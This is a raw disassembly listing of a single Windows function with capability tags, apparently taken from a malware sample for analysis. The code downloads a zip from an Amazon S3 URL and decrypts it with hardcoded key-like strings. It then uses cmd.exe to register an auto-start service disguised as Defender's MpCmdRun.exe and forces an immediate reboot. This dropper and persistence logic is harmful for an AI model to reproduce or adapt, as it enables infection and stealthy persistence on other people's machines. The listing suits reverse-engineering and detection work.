Function at 0x180004a10
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x150]
sub rsp, 0x250
mov rax, qword [0x18007e2a8]
xor rax, rsp
mov qword [rbp + 0x148], rax
xor r12d, r12d
lea rcx, [0x18007ef00]
cmp qword [0x18007ef18], 0x10
cmovae rcx, qword [0x18007ef00]
call fcn.1800047d0
test al, al
jne 0x1800053f2
mov rcx, qword [0x18007eef0]
movabs rbx, 0x7fffffffffffffff
mov rax, rbx
sub rax, rcx
cmp rax, 0xa
jb 0x180005428
lea r14, [0x18007eee0]
mov r9, r14
cmp qword [0x18007eef8], 0x10
cmovae r9, qword [0x18007eee0]
mov qword [rsp + 0x30], 0xa
lea rax, str.filesc.zip
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r8, r14
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x38]
call fcn.180009440
nop
mov rcx, qword [0x18007eef0]
mov rax, rbx
sub rax, rcx
cmp rax, 9
jb 0x18000542e
mov r9, r14
cmp qword [0x18007eef8], 0x10
cmovae r9, qword [0x18007eee0]
mov qword [rsp + 0x30], 9
lea rax, str.files.zip
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov r8, r14
movzx edx, byte [rsp + 0x40]
lea rcx, [rbp + 0x58]
call fcn.180009440
nop
lea rdx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0x10
cmovae rdx, qword [rbp + 0x38]
mov rdi, qword [rbp + 0x48]
add rdi, rdx
lea rbx, [rbp + 0x38]
cmp qword [rbp + 0x50], 0x10
cmovae rbx, qword [rbp + 0x38]
mov qword [rbp - 0x48], r12
mov ecx, r12d
mov qword [rbp - 0x38], rcx
mov edx, 7
mov qword [rbp - 0x30], rdx
mov word [rbp - 0x48], r12w
mov rax, rdi
sub rax, rbx
cmp rax, 8
jb 0x180004b8b
mov rdx, rax
lea rcx, [rbp - 0x48]
call fcn.180009560
mov ecx, r12d
mov qword [rbp - 0x38], rcx
mov rdx, qword [rbp - 0x30]
lea rax, [rbp - 0x48]
mov qword [rsp + 0x48], rax
cmp rbx, rdi
je 0x180004bed
nop dword [rax]
movsx r9d, byte [rbx]
cmp rcx, rdx
jae 0x180004bcb
lea rax, [rcx + 1]
mov qword [rbp - 0x38], rax
lea rax, [rbp - 0x48]
cmp rdx, 8
cmovae rax, qword [rbp - 0x48]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r12w
jmp 0x180004bdb
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp - 0x48]
call fcn.1800096d0
inc rbx
mov rdx, qword [rbp - 0x30]
cmp rbx, rdi
je 0x180004bed
mov rcx, qword [rbp - 0x38]
jmp 0x180004ba0
lea r8, [rbp - 0x48]
cmp rdx, 8
cmovae r8, qword [rbp - 0x48]
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea rdx, str.https:__special_edition32093201.s3.sa_east_1.amazonaws.com_beginQc.zip
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x78]
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x58]
lea rcx, [rsp + 0x78]
call fcn.180007580
mov rdi, rax
mov qword [rsp + 0x50], rax
lea rdx, [rbp + 0x38]
lea rcx, [rsp + 0x58]
call fcn.180007580
mov rbx, rax
mov qword [rsp + 0x48], rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x78], xmm0
movups xmmword [rbp + 0x88], xmm0
movups xmmword [rbp + 0x98], xmm0
movups xmmword [rbp + 0xa8], xmm0
movups xmmword [rbp + 0xb8], xmm0
movups xmmword [rbp + 0xc8], xmm0
movups xmmword [rbp + 0xd8], xmm0
movups xmmword [rbp + 0xe8], xmm0
movups xmmword [rbp + 0xf8], xmm0
mov qword [rbp + 0x108], rax
lea rcx, [rbp + 0x78]
call fcn.180012050
nop
lea rsi, vtable.CryptoPP::AutoSeededRandomPool.0
mov qword [rbp + 0x78], rsi
xor edx, edx
lea r8d, [rdx + 0x20]
lea rcx, [rbp + 0x78]
call fcn.180012f70
nop
movups xmm0, xmmword [str.p3s6v9y_BE_H_Mc]
movups xmmword [rbp + 0x110], xmm0
movzx eax, byte [0x180070000]
mov byte [rbp + 0x120], al
movups xmm0, xmmword [str.VkXp2s5v8y_B_E_H]
movups xmmword [rbp + 0x130], xmm0
movzx eax, byte [0x180070018]
mov byte [rbp + 0x140], al
mov r9, rdi
mov r8, rbx
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x110]
call fcn.180003a00
nop
mov qword [rbp + 0x78], rsi
lea rcx, [rbp + 0x78]
call fcn.180003720
nop
mov rdx, qword [rbx + 0x18]
cmp rdx, 0x10
jb 0x180004d57
mov rcx, qword [rbx]
inc rdx
cmp rdx, 0x1000
jb 0x180004d52
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x180005434
mov rcx, r8
call fcn.18002b460
mov qword [rbx + 0x10], r12
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x180004da0
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x180004d9b
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18000543a
mov rcx, r8
call fcn.18002b460
mov qword [rdi + 0x10], r12
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x50], rax
mov rdx, r14
lea rcx, [rsp + 0x58]
call fcn.180007580
mov r15, rax
mov qword [rbp + 0x110], r12
mov qword [rbp + 0x120], r12
mov qword [rbp + 0x128], r12
lea rdi, [rbp + 0x58]
mov r14, qword [rbp + 0x58]
mov r13, qword [rbp + 0x70]
cmp r13, 0x10
cmovae rdi, r14
mov rsi, qword [rbp + 0x68]
cmp rsi, 0x10
jae 0x180004e18
movups xmm0, xmmword [rdi]
movups xmmword [rbp + 0x110], xmm0
mov ebx, 0xf
jmp 0x180004e91
mov rbx, rsi
or rbx, 0xf
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
cmova rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x180004e6c
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x180005440
mov rcx, rax
call fcn.18002b494
mov rcx, rax
test rax, rax
je 0x180005446
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x180004e7b
test rcx, rcx
je 0x180004e78
call fcn.18002b494
jmp 0x180004e7b
mov rax, r12
mov qword [rbp + 0x110], rax
lea r8, [rsi + 1]
mov rdx, rdi
mov rcx, rax
call fcn.18002d7f0
mov qword [rbp + 0x120], rsi
mov qword [rbp + 0x128], rbx
mov rdx, r15
lea rcx, [rbp + 0x110]
call fcn.180004040
mov qword [rbp + 0x18], r12
mov qword [rbp + 0x28], r12
mov qword [rbp + 0x30], 0xf
mov byte [rbp + 0x18], 0
mov r8d, 0x5e
lea rdx, str._C_sc_create_WdCmdSvc_binPath__C:Program_Files__x86_Microsoft.NETMpCmdRun.exe__start_auto
lea rcx, [rbp + 0x18]
call fcn.1800082d0
nop
lea rdi, [rbp + 0x18]
cmp qword [rbp + 0x30], 0x10
cmovae rdi, qword [rbp + 0x18]
add rdi, qword [rbp + 0x28]
lea rbx, [rbp + 0x18]
cmp qword [rbp + 0x30], 0x10
cmovae rbx, qword [rbp + 0x18]
mov qword [rbp - 0x68], r12
mov rcx, r12
mov qword [rbp - 0x58], rcx
mov edx, 7
mov qword [rbp - 0x50], rdx
mov word [rbp - 0x68], r12w
mov rax, rdi
sub rax, rbx
cmp rax, 8
jb 0x180004f35
mov rdx, rax
lea rcx, [rbp - 0x68]
call fcn.180009560
mov rcx, r12
mov qword [rbp - 0x58], rcx
mov rdx, qword [rbp - 0x50]
lea rax, [rbp - 0x68]
mov qword [rsp + 0x50], rax
cmp rbx, rdi
je 0x180004f90
movsx r9d, byte [rbx]
cmp rcx, rdx
jae 0x180004f6e
lea rax, [rcx + 1]
mov qword [rbp - 0x58], rax
lea rax, [rbp - 0x68]
cmp rdx, 8
cmovae rax, qword [rbp - 0x68]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r12w
jmp 0x180004f7e
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp - 0x68]
call fcn.1800096d0
inc rbx
mov rdx, qword [rbp - 0x50]
cmp rbx, rdi
je 0x180004f90
mov rcx, qword [rbp - 0x58]
jmp 0x180004f43
lea r9, [rbp - 0x68]
cmp rdx, 8
cmovae r9, qword [rbp - 0x68]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r8, str.cmd.exe
lea rdx, [0x180070020]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
lea rax, [rbp + 0x110]
mov qword [rsp + 0x50], rax
mov qword [rbp + 0x110], r12
mov qword [rbp + 0x120], r12
mov qword [rbp + 0x128], 0xf
xor r8d, r8d
lea rdx, [0x18006fd97]
lea rcx, [rbp + 0x110]
call fcn.1800082d0
nop
lea rdx, [0x18007ef00]
lea rcx, [rsp + 0x58]
call fcn.180007580
mov rdi, rax
mov rcx, rax
cmp qword [rax + 0x18], 0x10
jb 0x18000501a
mov rcx, qword [rax]
lea rdx, [0x180070030]
call fcn.18003d3e8
mov rbx, rax
lea r8, [rbp + 0x110]
cmp qword [rbp + 0x128], 0x10
cmovae r8, qword [rbp + 0x110]
lea rdx, [0x180070034]
mov rcx, rax
call fcn.1800013b0
mov rcx, rbx
call fcn.18003d478
mov rdx, qword [rdi + 0x18]
cmp rdx, 0x10
jb 0x180005091
mov rcx, qword [rdi]
inc rdx
cmp rdx, 0x1000
jb 0x18000508c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x18000544c
mov rcx, r8
call fcn.18002b460
mov qword [rdi + 0x10], r12
mov qword [rdi + 0x18], 0xf
mov byte [rdi], 0
mov rdx, qword [rbp + 0x128]
cmp rdx, 0x10
jb 0x1800050e1
inc rdx
mov rcx, qword [rbp + 0x110]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800050dc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000544c
call fcn.18002b460
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov qword [rbp - 8], r12
mov qword [rbp + 8], r12
mov qword [rbp + 0x10], 0xf
mov byte [rbp - 8], 0
mov r8d, 0x1a
lea rdx, str._C_shutdown.exe__r__t_1__f
lea rcx, [rbp - 8]
call fcn.1800082d0
nop
lea rdi, [rbp - 8]
cmp qword [rbp + 0x10], 0x10
cmovae rdi, qword [rbp - 8]
add rdi, qword [rbp + 8]
lea rbx, [rbp - 8]
cmp qword [rbp + 0x10], 0x10
cmovae rbx, qword [rbp - 8]
mov qword [rbp - 0x28], r12
mov rcx, r12
mov qword [rbp - 0x18], rcx
mov r8d, 7
mov qword [rbp - 0x10], r8
mov rdx, rdi
sub rdx, rbx
cmp rdx, 8
jb 0x18000516c
lea rcx, [rbp - 0x28]
call fcn.180009560
mov rcx, r12
mov qword [rbp - 0x18], rcx
mov r8, qword [rbp - 0x10]
lea rax, [rbp - 0x28]
mov qword [rsp + 0x50], rax
cmp rbx, rdi
je 0x1800051cd
nop word [rax + rax]
movsx r9d, byte [rbx]
cmp rcx, r8
jae 0x1800051ab
lea rax, [rcx + 1]
mov qword [rbp - 0x18], rax
lea rax, [rbp - 0x28]
cmp r8, 8
cmovae rax, qword [rbp - 0x28]
mov word [rax + rcx*2], r9w
mov word [rax + rcx*2 + 2], r12w
jmp 0x1800051bb
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rbp - 0x28]
call fcn.1800096d0
inc rbx
mov r8, qword [rbp - 0x10]
cmp rbx, rdi
je 0x1800051cd
mov rcx, qword [rbp - 0x18]
jmp 0x180005180
lea r9, [rbp - 0x28]
cmp r8, 8
cmovae r9, qword [rbp - 0x28]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
lea r8, str.cmd.exe
lea rdx, [0x180070020]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rdx, qword [rbp - 0x10]
cmp rdx, 8
jb 0x18000523a
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005235
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005452
call fcn.18002b460
mov qword [rbp - 0x18], r12
mov qword [rbp - 0x10], 7
mov word [rbp - 0x28], r12w
mov rdx, qword [rbp + 0x10]
cmp rdx, 0x10
jb 0x180005286
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005281
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005458
call fcn.18002b460
mov qword [rbp + 8], r12
mov qword [rbp + 0x10], 0xf
mov byte [rbp - 8], 0
mov rdx, qword [rbp - 0x50]
cmp rdx, 8
jb 0x1800052d6
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800052d1
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000545e
call fcn.18002b460
mov qword [rbp - 0x58], r12
mov qword [rbp - 0x50], 7
mov word [rbp - 0x68], r12w
mov rdx, qword [rbp + 0x30]
cmp rdx, 0x10
jb 0x180005322
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000531d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005464
call fcn.18002b460
mov qword [rbp + 0x28], r12
mov qword [rbp + 0x30], 0xf
mov byte [rbp + 0x18], 0
mov rdx, qword [rbp - 0x30]
cmp rdx, 8
jb 0x180005372
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000536d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000546a
call fcn.18002b460
mov qword [rbp - 0x38], r12
mov qword [rbp - 0x30], 7
mov word [rbp - 0x48], r12w
cmp r13, 0x10
jb 0x1800053bb
lea rdx, [r13 + 1]
mov rax, r14
cmp rdx, 0x1000
jb 0x1800053b2
add rdx, 0x27
mov r14, qword [r14 - 8]
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005470
mov rcx, r14
call fcn.18002b460
nop
mov rdx, qword [rbp + 0x50]
cmp rdx, 0x10
jb 0x1800053f2
inc rdx
mov rcx, qword [rbp + 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800053ed
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005422
call fcn.18002b460
mov rcx, qword [rbp + 0x148]
xor rcx, rsp
call fcn.18002b440
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.18003ca48
int3
call fcn.1800015a0
nop
call fcn.1800015a0
nop
call fcn.18003ca48
nop
call fcn.18003ca48
nop
call fcn.180001500
int3
call fcn.18003ca48
nop
call fcn.18003ca48
nop
call fcn.18003ca48
nop
call fcn.18003ca48
nop
call fcn.18003ca48
nop
call fcn.18003ca48
nop
call fcn.18003ca48
nop
call fcn.18003ca48
int3